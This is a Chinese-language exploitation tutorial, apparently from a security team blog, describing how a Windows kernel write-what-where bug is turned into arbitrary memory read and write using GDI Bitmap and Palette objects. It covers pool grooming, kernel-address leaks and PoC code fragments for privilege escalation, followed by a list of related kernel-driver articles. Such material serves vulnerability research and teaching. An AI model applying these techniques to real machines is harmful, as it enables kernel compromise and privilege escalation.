干货丨windows内核www漏洞利用手法(修改版)

简介: 注:由于上次发出来的不完整,所以删除了重新发完整点的前言:Gcow安全团队复眼小组致力于对漏洞的挖掘和研究,并且对于二进制和web漏洞方面都有所研究,有独立挖掘漏洞和独立复现漏洞的能力,本篇文章由Gcow安全团队复眼小组晏子霜师傅所写!

Write What Where



注:由于上次发出来的不完整,所以删除了重新发完整点的

前言:Gcow安全团队复眼小组致力于对漏洞的挖掘和研究,并且对于二进制和web漏洞方面都有所研究,有独立挖掘漏洞和独立复现漏洞的能力,本篇文章由Gcow安全团队复眼小组晏子霜师傅所写!


BITMAP(位图) 简介

HBITMAP CreateBitmap(int nWidth,int nHeight,UINT nPlanes,UINT nBitCount,const VOID *lpBits);

(nBitCount是一个像素占用的位,如果nBitCount为32,则一个像素为4位 也就是乘4)

Windows7 (X64)

创建堆块大小 0x0240 + nWidth * nHeight * nBitCount

(1503)

创建堆块大小 0x0260 + nWidth * nHeight * nBitCount

(1703)

创建堆块大小 0x0270 + nWidth * nHeight * nBitCount

SURFOBJ.cjBits = nWidth * nHeight * nBitCount

修改SURFOBJ.sizlBitmap结构中的cx和cy,都可以达到类似数组越界漏洞的效果,SURFOBJ.cjBits的大小为pixel data的大小,但如果修改了SURFOBJ.sizlBitmap结构,SURFOBJ.cjBits大小并不进行安全校验.

所以,内核中哪怕1字节的(任意地址修改任意值),(任意地址写固定值,随机值)只要写入的内容不是0,也可以利用该漏洞去修改下一个SURFACE结构的SURFOBJ中的PvScan0,来进行任意地址读写.

如果创建BitMap时 lpBits不指定 则会额外创建池块处理PvScan0

SURFOBJ结构



typedef struct _SURFOBJ { 
DHSURF dhsurf; 
HSURF hsurf;
DHPDEV dhpdev; 
HDEV hdev; 
SIZEL sizlBitmap; 
ULONG cjBits; 
PVOID pvBits; 
PVOID pvScan0; 
LONG lDelta; 
ULONG iUniq; 
ULONG iBitmapFormat; 
USHORT iType; 
USHORT fjBitmap; 
} SURFOBJ, *PSURFOBJ;






释放

BOOL DeleteObject(HGDIOBJ hObject);

该函数删除一个逻辑笔,画笔,字体,位图,区域或者调色板,释放所有与该对象有关的系统资源,在对象被删除之后,指定的句柄也就失效了

获取BitMap地址

Windows10 v1511

使用CreateBitmap创建一个位图,保存返回的句柄,bitmap句柄的最后两个字节是该结构在GdiSharedHandleTable数组中的索引(=>handle & 0xffff).

PEB偏移0xf8(X64)处获取指向GdiSharedHandleTable的指针,该指针指向_GDI_CELL结构的数组

通过句柄的后16位来寻找索引的偏移,每个_GDI_CELL结构大小为0x18(X64),0x10(X86)

GdiSharedHandleTable + (BitMap_Handle & 0xFFFF)*0x18 可以获取SURFACE结构在内核内存中的位置.

通过计算偏移即可获取PvScan0所在的内存地址,配合其他漏洞获取 ARW Primitives

Windows10 v1607 Rs1

使用LocalAlloc分配一块内存,大小为 0x06 * 0x300

使用CreateAcceleratorTable 生成一个有0x300表项的加速器表,此时分配的是一个0x1200大小的内存池块,SessionPool.

User32!gSharedInfo 结构中的 aheList 结构中保存了一个pKernel指针,该指针指向这个句柄的内核地址.

aheList为指向PUSER_HANDLE_ENTRY结构数组的指针

通过加速器句柄(HACCEL)的低16位(PUSER_HANDLE_ENTRY结构数组偏移),可以获取到加速器内核地址.

由于加速器使用的也是SessionPool 所以释放该加速器后,重新申请同样大小的SessionPool则可以使用释放的内存

CreateBitmap(0x0FA0, 0x01, 0x01, 0x08, Data);

0x260 + 0xFA0 = 0x1200 占坑

即可获取SURFACE结构的地址

Windows10 v1703 Rs2

(BitMap的SurFace结构 在v1703上比v1503增大了10)

创建堆块大小 0x0270 + nWidth * nHeight * nBitCount

首先创建一个窗口(RegisterClassW+CreateWindowExW)

memset(LpszMNames,‘A’, 0x1000-10);

创建出保存 lpszMenuName 的内核池为 0x1000 字节大小

因为保存0x10字节的Heap Header 所以说 Size - 0x10

//内存缩紧,提前占用空闲 0x1000 字节的Session Pool 这样就可以保证释放 lpszMenuName 后 创建的 BitMap 稳定复用 lpszMenuName 的内存地址了
while (I < 0x500){
++I;
CreateBitmap(0xD90, 0x01, 0x01, 0x08, Data);
}

如何获取lpszMenuName的内核地址呢

首先获取 UlClientDelta 这是用户桌面堆和内核桌面堆的一个偏移,使用内核桌面堆的地址 减去 UlClientDelta 就是用户桌面堆的地址了.

UlClientDelta = TagWnd.head.pSelf - TagWnd 即可得出用户态映射的桌面堆在内核中的偏移

TagCls = TagWND + 0xa8

Address(lpszMenuName) = *((TagCls + 0x90) - UlClientDelta)

为什么要减去 UlClientDelta 呢,因为内核地址我们没办法读取 只能通过用户模式的映射获取到lpszMenuName,也就是释放之后SurFace结构的地址

这时释放窗口

Session Pool中 空闲一个0x1000字节大小的内核池

CreateBitmap(0xD90, 0x01, 0x01, 0x08, Data);

这时我们就已经占坑了,可以在 Windbg 中看到我们的 SurFace 结构使用了 lpszMenuName 所占用的 SessionPool.



利用 BITMAP 进行任意地址写

创建两个(多个)Bitmap,获取到其中一个SURFACE结构的地址,通过偏移寻找到SURFOBJ结构中的PvScan0,将PvScan0的内容修改为另外一个Bitmap的PvScan0地址.

使用 SetBitmapBits(HBITS_B[M_UAF_ID](PvScan0被修改成另外一个块的结构), 0x08, Where_TO_DO(想要读或写的内存地址的指针));

使用 GetBitmapBits(HBITS_B[W_UAF_ID](另外一个块), 0x08, &EPROCESS);来读取8字节到EPROCESS指向的内存中

使用 SetBitmapBits(HBITS_B[W_UAF_ID](另外一个块), 0x08, Where_TO_DO(想要写入内容的指针));来向设置的地址写入8字节


1字节任意地址读写 利用BitMap提权

实验环境:

Windows7 X64专业版

首先分配0x500个0x1000字节的 Pool

这一步的目的是内存缩紧,缩紧到没有多余的0x1000字节大小的空闲内核池(其实可能还是有=_=,不过问题不大),来干扰Large Pool的分割


for (i = 0; i < 0x500; ++i){
CreateBitmap(0xDC0, 0x01, 0x01, 0x08, Data1);
}

然后分配0x2000字节大小的 Large Pool

Windows7 (X64) 创建池块大小 0x0240 + nWidth * nHeight * nBitCount,

所以此处使用 BigPool = CreateBitmap(0x1DC0, 0x01, 0x01, 0x08, Data);

接着释放这个Pool

DeleteObject(BigPool);

此时,占用了0x2000字节的大块是被释放的

立刻申请两个0x1000字节的块

F_Pool = CreateBitmap(0xDC0, 0x01, 0x01, 0x08, Data1);

S_Pool = CreateBitmap(0xDC0, 0x01, 0x01, 0x08, Data2);

通过泄露BitMap地址,可以发现我们已经占用了释放的Large Pool

SURFOBJ64 结构偏移0x20 处为 sizlBitMap 结构,该结构如下



typedef strucy tagSIZE{
  LONG cx;
  LONG cy;
}SIZE,*PSIZE;

我们只需要覆盖其中一个结构即可进行越界读写内存(OOB);

F_POOL->sizlBitMap = 00000001`00000dc0;

此处,我们通过WWW漏洞将 F_POOL->sizlBitMap.cy 修改成0x02

这样我们的读写范围就变成 0xdc0 * 2 = 0x1B80

即可通过 F_Pool 任意读写 S_POOL 的内容

接下来修改S_POOL的PvScan0指针,即可任意地址读写


 

Palette (调色板) 简介

HPALETTE CreatePalette(const LOGPALETTE *plpal);

创建调色板,只有一个参数为指向LOGPALETTE结构的指针

X86 下 size(PALETTE) 为 0x58 字节大小

X64 下 size(PALETTE) 为 0x98 字节大小




typedef struct tagLOGPALETTE {
    WORD        palVersion;
    WORD        palNumEntries;
    _Field_size_opt_(palNumEntries) PALETTEENTRY        palPalEntry[1];
} LOGPALETTE, *PLOGPALETTE, NEAR *NPLOGPALETTE, FAR *LPLOGPALETTE;

palVersion 设置为 0x0300 即可

palNumEntries 为 palPalEntry 的个数,每个 PALETTEENTRY 结构为 0x04字节大小(包括X64)

CreatePalette(PPlette);

函数会创建一个 (Sizeof(PALETTE) + palNumEntries * 4) 大小的 Kernel Pool 来保存PALETTE结构

PALETTE 结构 末尾的 apalColors 结构 为 PALETTEENTRY结构的数组 默认为 8 字节大小(默认项数为0x02),Kernel Pool 保存 PALETTE 结构时,会根据 palNumEntries 来设置 apalColors 数组的项数

PALETTE 结构中的变量 cEntries 为 LOGPALETTE 结构中的 palNumEntries,来代表当前 apalColors数组有多少项

修改 PALETTE.cEntries 则可以进行 越界读写(OOB)

PALETTE.pFirstColor 为指向 PALETTE.apalColors 地址的指针

修改 PALETTE.pFirstColor 则可以进行 任意地址读写(WWW)

PALETTE 结构



typedef struct _PALETTE { 
BASEOBJECTBaseObject; 
FLONG  flPal; 
ULONG cEntries; 
ULONG ulTime; 
HDC hdcHead; 
ULONG hSelected; 
ULONG cRefhpal; 
ULONG cRefRegular; 
ULONGptransFore; 
ULONGptransCurrent; 
ULONGptransOld; 
ULONG unk_038; 
ULONG64 pfnGetNearest;
ULONG pfnGetMatch; 
ULONG ulRGBTime; 
ULONG pRGBXlate; 
PALETTEENTRY *pFirstColor; 
struct _PALETTE *ppalThis; 
PALETTEENTRY apalColors[1]; 
}PALETTE;

Find Palette Pool

Windbg中搜索创建的调色板 PALETTE结构

!poolfind Gl?8 -session


释放 Palette

DeleteObject(HPalette);


获取 Palette 地址

创建窗口时通过设置窗口类菜单名称,可以分配任意大小的Kernel Session Pool,可以利用这一点来预测Palette结构的地址

wndclass.lpszMenuName = (LPCWSTR)LpszMNames;

(为了避免有相同大小的空闲 Session Pool,先申请 N个 同大小的Palette结构,来占用内存会提高成功几率)

首先算好Palette结构需要占坑的大小,接着创建窗口,使用 HMValidateHandle 函数(BITMAP一节中有介绍)获取tagCls.lpszMenuName 指向的地址,此处为占坑地址,释放窗口,释放窗口类,创建Palette结构即可

tagCls地址获取方法

TagWnd = HMValidateHandle(HWND,1);

返回值为 tagWnd桌面堆在用户态映射的地址

TagWnd.head.pSelf 为 pSelf ,是TagWnd结构在内核池中的地址

Kenrl_Pool_OffSet(DeskTop Heap) = TagWnd.head.pSelf - TagWnd 可以算出 用户态映射的桌面堆 和内核态桌面堆的偏移

TagWnd.pcls 为当前窗口类的地址,也就是tagCls结构的内核地址

TagWnd.pcls - Kenrl_Pool_OffSet(DeskTop Heap) = TagCls 即可获取到用户态映射下TagCls结构的地址

TagCls.lpszMenuName 为 分配的窗口菜单名称,分配在Session Pool里

获取到 TagCls.lpszMenuName 的地址后,释放窗口,以及窗口类,创建PALETTE即可复用

以下为Poc中部分代码





  HINSTANCE hInstance;
HWND hwnd, pwd;     
WNDCLASS wndclass = { 0 }; 
memset(LpszMNames, 'F', 0x1000-0x08);
hInstance = GetModuleHandleA(0);
wndclass.style = CS_HREDRAW | CS_VREDRAW;
wndclass.lpfnWndProc = DefWindowProc;
wndclass.hInstance = hInstance;
wndclass.hIcon = LoadIcon(NULL, IDI_APPLICATION);
wndclass.hCursor = LoadCursor(NULL, IDC_ARROW);
wndclass.hbrBackground = (HBRUSH)GetStockObject(WHITE_BRUSH);
wndclass.lpszMenuName = (LPCWSTR)LpszMNames;
wndclass.lpszClassName = TEXT("case");
if (!RegisterClass(&wndclass)){
printf("Register Window Class Error!\n");
return 1;
}
  hwnd = CreateWindowEx(0, wndclass.lpszClassName, TEXT("WORDS"), 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
printf("hwnd:%p\n", hwnd);
pwd = (HWND)HMValidateHandle(hwnd, 1);
ULONG ulClientDelta = *(ULONG*)((ULONG)pwd + 0x10) - (ULONG)pwd;
ULONG TagCls = *(ULONG*)((ULONG)pwd + 0x64) - ulClientDelta;
PALETTE_Address = *(ULONG*)((ULONG)TagCls + 0x50);
//__asm int 3
printf("TagCls:0x%p\n", TagCls);
printf("TagWnd:0x%p\n", pwd);
printf("PALETTE_Address:0x%p\n", PALETTE_Address);
DestroyWindow(hwnd);
  //内存缩紧
  while (I <= 0x500){
      CreatePalette(Palette);
    ++I;
  }
  //释放窗口类
  UnregisterClass(TEXT("case"), GetModuleHandleA(0));
  //地址泄露!
  HPAL = CreatePalette(Palette);






 



利用 Palette 进行任意地址读写

通过修改 PALETTE.pFirstColor 的指针后,则可使用

SetPaletteEntries(HPALETTE Hpal,UINT iStartIndex,UINT nEntries,LPPALETTEENTRY lppe);

函数进行任意地址写

SetPaletteEntries(HPALETTE,0,0x05,Entries)

参数 1 Hpal 为 CreatePalette 函数返回的调色板句柄

参数 2 iStartIndex 为 从 apalColors 数组中第几项开始写

参数 3 nEntries 为 到 apalColors 数组中第几项结束

参数 4 lppe 为 PALETTEENTRY 结构数组的指针,每项4字节,通过设置此参数来写入任意值

创建两个 PALETTE 结构,覆写 PALETTE.pFirstColor 指针后,可参考BITMAP的利用方法 获取无限制的 ARW Primitiver

使用

GetPaletteEntries(HPALETTE Hpal,UINT iStartIndex,UINT nEntries,LPPALETTEENTRY lppe);

函数进行任意地址读

GetPaletteEntries(HPALETTE,0,0x05,Entries)

参数 1 Hpal 为 CreatePalette 函数返回的调色板句柄

参数 2 iStartIndex 为 从 apalColors 数组中第几项开始读

参数 3 nEntries 为 到 apalColors 数组中第几项结束

参数 4 lppe 为 PALETTEENTRY 结构数组的指针,每项4字节,通过设置此参数来读取任意值


相关文章
|
4月前
|
监控 安全 API
5.9 Windows驱动开发:内核InlineHook挂钩技术
在上一章`《内核LDE64引擎计算汇编长度》`中,`LyShark`教大家如何通过`LDE64`引擎实现计算反汇编指令长度,本章将在此基础之上实现内联函数挂钩,内核中的`InlineHook`函数挂钩其实与应用层一致,都是使用`劫持执行流`并跳转到我们自己的函数上来做处理,唯一的不同的是内核`Hook`只针对`内核API`函数,但由于其身处在`最底层`所以一旦被挂钩其整个应用层都将会受到影响,这就直接决定了在内核层挂钩的效果是应用层无法比拟的,对于安全从业者来说学会使用内核挂钩也是很重要。
40 1
5.9 Windows驱动开发:内核InlineHook挂钩技术
|
4月前
|
监控 Windows
7.4 Windows驱动开发:内核运用LoadImage屏蔽驱动
在笔者上一篇文章`《内核监视LoadImage映像回调》`中`LyShark`简单介绍了如何通过`PsSetLoadImageNotifyRoutine`函数注册回调来`监视驱动`模块的加载,注意我这里用的是`监视`而不是`监控`之所以是监视而不是监控那是因为`PsSetLoadImageNotifyRoutine`无法实现参数控制,而如果我们想要控制特定驱动的加载则需要自己做一些事情来实现,如下`LyShark`将解密如何实现屏蔽特定驱动的加载。
32 0
7.4 Windows驱动开发:内核运用LoadImage屏蔽驱动
|
18天前
|
监控 安全 API
7.3 Windows驱动开发:内核监视LoadImage映像回调
在笔者上一篇文章`《内核注册并监控对象回调》`介绍了如何运用`ObRegisterCallbacks`注册`进程与线程`回调,并通过该回调实现了`拦截`指定进行运行的效果,本章`LyShark`将带大家继续探索一个新的回调注册函数,`PsSetLoadImageNotifyRoutine`常用于注册`LoadImage`映像监视,当有模块被系统加载时则可以第一时间获取到加载模块信息,需要注意的是该回调函数内无法进行拦截,如需要拦截则需写入返回指令这部分内容将在下一章进行讲解,本章将主要实现对模块的监视功能。
36 0
7.3 Windows驱动开发:内核监视LoadImage映像回调
|
4月前
|
监控 安全 API
7.2 Windows驱动开发:内核注册并监控对象回调
在笔者上一篇文章`《内核枚举进程与线程ObCall回调》`简单介绍了如何枚举系统中已经存在的`进程与线程`回调,本章`LyShark`将通过对象回调实现对进程线程的`句柄`监控,在内核中提供了`ObRegisterCallbacks`回调,使用这个内核`回调`函数,可注册一个`对象`回调,不过目前该函数`只能`监控进程与线程句柄操作,通过监控进程或线程句柄,可实现保护指定进程线程不被终止的目的。
30 0
7.2 Windows驱动开发:内核注册并监控对象回调
|
4月前
|
监控 安全 API
7.6 Windows驱动开发:内核监控FileObject文件回调
本篇文章与上一篇文章`《内核注册并监控对象回调》`所使用的方式是一样的都是使用`ObRegisterCallbacks`注册回调事件,只不过上一篇博文中`LyShark`将回调结构体`OB_OPERATION_REGISTRATION`中的`ObjectType`填充为了`PsProcessType`和`PsThreadType`格式从而实现监控进程与线程,本章我们需要将该结构填充为`IoFileObjectType`以此来实现对文件的监控,文件过滤驱动不仅仅可以用来监控文件的打开,还可以用它实现对文件的保护,一旦驱动加载则文件是不可被删除和改动的。
29 1
7.6 Windows驱动开发:内核监控FileObject文件回调
|
4月前
|
监控 安全 API
6.9 Windows驱动开发:内核枚举进线程ObCall回调
在笔者上一篇文章`《内核枚举Registry注册表回调》`中我们通过特征码定位实现了对注册表回调的枚举,本篇文章`LyShark`将教大家如何枚举系统中的`ProcessObCall`进程回调以及`ThreadObCall`线程回调,之所以放在一起来讲解是因为这两中回调在枚举是都需要使用通用结构体`_OB_CALLBACK`以及`_OBJECT_TYPE`所以放在一起来讲解最好不过。
44 1
6.9 Windows驱动开发:内核枚举进线程ObCall回调
|
4月前
|
监控 安全 API
6.8 Windows驱动开发:内核枚举Registry注册表回调
在笔者上一篇文章`《内核枚举LoadImage映像回调》`中`LyShark`教大家实现了枚举系统回调中的`LoadImage`通知消息,本章将实现对`Registry`注册表通知消息的枚举,与`LoadImage`消息不同`Registry`消息不需要解密只要找到`CallbackListHead`消息回调链表头并解析为`_CM_NOTIFY_ENTRY`结构即可实现枚举。
50 1
6.8 Windows驱动开发:内核枚举Registry注册表回调
|
4月前
|
存储 API 开发者
6.7 Windows驱动开发:内核枚举LoadImage映像回调
在笔者之前的文章`《内核特征码搜索函数封装》`中我们封装实现了特征码定位功能,本章将继续使用该功能,本次我们需要枚举内核`LoadImage`映像回调,在Win64环境下我们可以设置一个`LoadImage`映像加载通告回调,当有新驱动或者DLL被加载时,回调函数就会被调用从而执行我们自己的回调例程,映像回调也存储在数组里,枚举时从数组中读取值之后,需要进行位运算解密得到地址。
32 1
6.7 Windows驱动开发:内核枚举LoadImage映像回调
|
4月前
|
网络协议 API C++
6.6 Windows驱动开发:内核枚举Minifilter微过滤驱动
Minifilter 是一种文件过滤驱动,该驱动简称为微过滤驱动,相对于传统的`sfilter`文件过滤驱动来说,微过滤驱动编写时更简单,其不需要考虑底层RIP如何派发且无需要考虑兼容性问题,微过滤驱动使用过滤管理器`FilterManager`提供接口,由于提供了管理结构以及一系列管理API函数,所以枚举过滤驱动将变得十分容易。
52 1
6.6 Windows驱动开发:内核枚举Minifilter微过滤驱动
|
4月前
|
存储 算法 数据安全/隐私保护
6.5 Windows驱动开发:内核枚举PspCidTable句柄表
在 Windows 操作系统内核中,PspCidTable 通常是与进程(Process)管理相关的数据结构之一。它与进程的标识和管理有关,每个进程都有一个唯一的标识符,称为进程 ID(PID)。与之相关的是客户端 ID,它是一个结构,其中包含唯一标识进程的信息。这样的标识符在进程管理、线程管理和内核对象的创建等方面都起到关键作用。
31 1
6.5 Windows驱动开发:内核枚举PspCidTable句柄表